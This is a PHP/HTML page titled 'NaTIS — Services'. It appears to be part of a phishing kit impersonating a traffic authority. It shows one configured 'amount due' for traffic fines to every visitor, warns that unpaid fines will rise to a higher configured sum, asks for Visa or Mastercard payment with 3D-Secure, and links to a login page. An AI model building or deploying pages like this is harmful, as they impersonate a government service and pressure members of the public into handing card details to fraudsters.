<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';
$ntActive = 'online';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NaTIS — Services</title>
    <link rel="stylesheet" href="themes/css/login-natis.css" />
</head>
<body>
<?php require __DIR__ . '/includes/natis-header.php'; ?>
<main class="nt-main">
    <div class="nt-login-wrap" style="max-width:820px;">
        <h2>Online services</h2>
        <h3 id="fine">Traffic fine payment</h3>
        <p>View and pay outstanding traffic fines. Current amount due: <?= htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8') ?>.</p>
        <h3 id="notice">Fine notices</h3>
        <p>Receive and review official fine notices by email. Unpaid fines increase from <?= htmlspecialchars(Config::$fine_amount_initial, ENT_QUOTES, 'UTF-8') ?> to <?= htmlspecialchars(Config::$fine_amount_next, ENT_QUOTES, 'UTF-8') ?> if not paid in time.</p>
        <h3 id="pay">Secure payment</h3>
        <p>Pay by Visa or Mastercard with 3D-Secure enabled on your card.</p>
        <p style="margin-top:20px;"><a class="nt-btn-alay" href="login.php" style="display:inline-block;width:auto;padding:0 24px;line-height:42px;text-decoration:none;">Login</a></p>
    </div>
</main>
<?php require __DIR__ . '/includes/natis-footer.php'; ?>
</body>
</html>
